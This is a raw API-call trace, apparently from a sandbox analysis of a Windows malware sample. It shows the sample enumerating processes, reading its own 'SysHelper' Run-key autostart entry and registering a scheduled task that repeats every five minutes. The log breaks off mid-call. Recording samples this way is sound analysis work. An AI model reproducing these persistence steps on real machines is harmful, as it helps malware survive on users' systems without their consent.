1 [0048.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x598 [0048.439] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.439] GetModuleBaseNameW (in: hProcess=0x598, hModule=0xf00000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="columbus_rats_trailer.exe") returned 0x19 [0048.440] CloseHandle (hObject=0x598) returned 1 [0048.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x0 [0048.440] CloseHandle (hObject=0x0) returned 0 [0048.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a4) returned 0x598 [0048.440] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.441] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x400000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 0x38 [0048.441] CloseHandle (hObject=0x598) returned 1 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0xe08080 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0xe33c30 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x37f0370 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3802a50 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0xe340d0 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0xe34338 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3821768 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38219d0 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3821c38 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3821ea0 [0048.441] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3822108 [0048.441] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e8f0 | out: phkResult=0x18e8f0*=0x598) returned 0x0 [0048.442] RegQueryValueExW (in: hKey=0x598, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e8ec, lpData=0x18d018, lpcbData=0x18e8d0*=0x400 | out: lpType=0x18e8ec*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart", lpcbData=0x18e8d0*=0x130) returned 0x0 [0048.442] RegCloseKey (hKey=0x598) returned 0x0 [0048.442] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x130) returned 0x37f05d8 [0048.442] lstrlenA (lpString="\" --AutoStart") returned 13 [0048.442] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x120) returned 0x37d8a70 [0048.442] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f05d8 | out: hHeap=0xd50000) returned 1 [0048.442] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 1 [0048.442] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x120) returned 0x37f05d8 [0048.442] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d8a70 | out: hHeap=0xd50000) returned 1 [0048.442] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x120) returned 0x37d8a70 [0048.442] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x120) returned 0x37d4d38 [0048.442] CoInitialize (pvReserved=0x0) returned 0x0 [0048.450] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0048.451] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x120) returned 0x37d7b80 [0048.451] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e8dc | out: ppv=0x18e8dc*=0x2db08b8) returned 0x0 [0048.457] TaskScheduler:ITaskService:Connect (This=0x2db08b8, serverName=0x18e368*(varType=0x0, wReserved1=0x37d, wReserved2=0x8a68, wReserved3=0x37d, varVal1=0x8f, varVal2=0x120), user=0x18e378*(varType=0x0, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1=0x0, varVal2=0x128), domain=0x18e388*(varType=0x0, wReserved1=0x0, wReserved2=0x120, wReserved3=0x0, varVal1=0x8f, varVal2=0x7), password=0x18e398*(varType=0x0, wReserved1=0x382, wReserved2=0xe884, wReserved3=0x18, varVal1=0x41720b, varVal2=0xd50000)) returned 0x0 [0048.459] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802348 [0048.459] TaskScheduler:ITaskService:GetFolder (in: This=0x2db08b8, Path="\\", ppFolder=0x18e8e4 | out: ppFolder=0x18e8e4*=0x2db0920) returned 0x0 [0048.460] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802348 | out: hHeap=0xd50000) returned 1 [0048.460] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802348 [0048.460] ITaskFolder:DeleteTask (This=0x2db0920, Name="Time Trigger Task", flags=0) returned 0x0 [0048.504] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802348 | out: hHeap=0xd50000) returned 1 [0048.505] TaskScheduler:ITaskService:NewTask (in: This=0x2db08b8, flags=0x0, ppDefinition=0x18e8e8 | out: ppDefinition=0x18e8e8*=0x2db0950) returned 0x0 [0048.505] TaskScheduler:IUnknown:Release (This=0x2db08b8) returned 0x1 [0048.505] ITaskDefinition:get_RegistrationInfo (in: This=0x2db0950, ppRegistrationInfo=0x18e8bc | out: ppRegistrationInfo=0x18e8bc*=0x2db0a10) returned 0x0 [0048.505] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802378 [0048.505] IRegistrationInfo:put_Author (This=0x2db0a10, Author="Author Name") returned 0x0 [0048.505] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802378 | out: hHeap=0xd50000) returned 1 [0048.505] IUnknown:Release (This=0x2db0a10) returned 0x1 [0048.505] ITaskDefinition:get_Principal (in: This=0x2db0950, ppPrincipal=0x18e8c4 | out: ppPrincipal=0x18e8c4*=0x2db0ba0) returned 0x0 [0048.505] IPrincipal:put_LogonType (This=0x2db0ba0, LogonType=3) returned 0x0 [0048.505] IUnknown:Release (This=0x2db0ba0) returned 0x1 [0048.505] ITaskDefinition:get_Settings (in: This=0x2db0950, ppSettings=0x18e8cc | out: ppSettings=0x18e8cc*=0x2db0ac0) returned 0x0 [0048.506] ITaskSettings:put_StartWhenAvailable (This=0x2db0ac0, StartWhenAvailable=1) returned 0x0 [0048.506] IUnknown:Release (This=0x2db0ac0) returned 0x1 [0048.506] ITaskSettings:get_IdleSettings (in: This=0x2db0ac0, ppIdleSettings=0x18e8b0 | out: ppIdleSettings=0x18e8b0*=0x2db0b30) returned 0x0 [0048.506] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802378 [0048.506] IIdleSettings:put_WaitTimeout (This=0x2db0b30, WaitTimeout="PT5M") returned 0x0 [0048.506] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802378 | out: hHeap=0xd50000) returned 1 [0048.506] IUnknown:Release (This=0x2db0b30) returned 0x1 [0048.506] ITaskDefinition:get_Triggers (in: This=0x2db0950, ppTriggers=0x18e8ac | out: ppTriggers=0x18e8ac*=0x2db0a80) returned 0x0 [0048.506] ITriggerCollection:Create (in: This=0x2db0a80, Type=1, ppTrigger=0x18e8b8 | out: ppTrigger=0x18e8b8*=0x2db0c00) returned 0x0 [0048.506] IUnknown:Release (This=0x2db0a80) returned 0x1 [0048.506] IUnknown:QueryInterface (in: This=0x2db0c00, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e8d4 | out: ppvObject=0x18e8d4*=0x2db0c00) returned 0x0 [0048.506] IUnknown:Release (This=0x2db0c00) returned 0x2 [0048.506] ITrigger:get_Repetition (in: This=0x2db0c00, ppRepeat=0x18e8c0 | out: ppRepeat=0x18e8c0*=0x2db0c50) returned 0x0 [0048.506] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802378 [0048.506] IRepetitionPattern:put_Interval (This=0x2db0c50, Interval="PT5M") returned 0x0 [0048.506] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802378 | out: hHeap=0xd50000) returned 1 [0048.506] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802378 [0048.506] IRepetitionPattern:put_Duration (This=0x2db0c50, Duration="") returned 0x0 [0048.507] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802378 | out: hHeap=0xd50000) returned 1 [0048.507] ITrigger:put_Repetition (This=0x2db0c00, Repetition=0x2db0c50) returned 0x0 [0048.507] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802378 [0048.507] ITrigger:put_Id (This=0x2db0c00, Id="Trigger1") returned 0x0 [0048.507] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802378 | out: hHeap=0xd50000) returned 1 [0048.507] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xc) returned 0x3802378 [0048.507] ITrigger:put_EndBoundary (This=0x2db0c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0048.507] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3802378 | out: hHeap=0xd50000) returned 1 [0048.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e394 | out: lpSystemTimeAsFileTime=0x18e394*(dwLowDateTime=0x3e6fb240, dwHighDateTime=0x1d53dff)) [0048.507] GetLastError () returned 0x0 [0048.507] SetLastError (dwErrCode=0x0) [0048.507] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x24) returned 0x3833890 [0048.507] GetLastError () returned 0x0 [0048.507] SetLastError (dwErrCode=0x0) [0048.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0048.507] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1f) returned 0x3834338 [0048.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3834338, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0048.507] GetLastError () returned 0x0 [0048.507] SetLastError (dwErrCode=0x0) [0048.507] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x4) returned 0x37a0d80 [0048.507] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37a0d80) returned 0x4 [0048.507] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37a0d80, Size=0x8) returned 0x37a0d90 [0048.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0048.507] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x36) returned 0xe156c0 [0048.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0xe156c0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37a0d90) returned 0x8 [0048.508] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37a0d90, Size=0xc) returned 0x3802378 [0048.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0048.508] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x37) returned 0x382ddf0 [0048.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x382ddf0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3802378) returned 0xc [0048.508] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3802378, Size=0x10) returned 0x38023a8 [0048.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0048.508] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3c) returned 0x37fe698 [0048.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x37fe698, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.508] GetLastError () returned 0x0 [0048.508] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x38023a8) returned 0x10 [0048.509] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x38023a8, Size=0x14) returned 0xe05d88 [0048.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0048.509] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x31) returned 0x382dd70 [0048.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x382dd70, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.509] GetLastError () returned 0x0 [0048.509] SetLastError (dwErrCode=0x0) [0048.510] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe05d88) returned 0x14 [0048.510] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe05d88, Size=0x18) returned 0xe061c8 [0048.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.510] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x17) returned 0xe05d88 [0048.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0xe05d88, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] GetLastError () returned 0x0 [0048.510] SetLastError (dwErrCode=0x0) [0048.510] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe061c8) returned 0x18 [0048.510] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0xe061c8, Size=0x1c) returned 0x3834360 [0048.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0048.510] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x24) returned 0x38338c0 [0048.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x38338c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.511] GetLastError () returned 0x0 [0048.511] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3834360) returned 0x1c [0048.512] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3834360, Size=0x20) returned 0x3834388 [0048.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0048.512] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x14) returned 0xe061c8 [0048.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0xe061c8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.512] SetLastError (dwErrCode=0x0) [0048.512] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3834388) returned 0x20 [0048.513] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3834388, Size=0x24) returned 0x3833a70 [0048.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.513] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0xd) returned 0x38023a8 [0048.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x38023a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.513] SetLastError (dwErrCode=0x0) [0048.513] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3833a70) returned 0x24 [0048.514] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3833a70, Size=0x28) returned 0x3833a40 [0048.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0048.514] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x25) returned 0x3833a70 [0048.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3833a70, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () 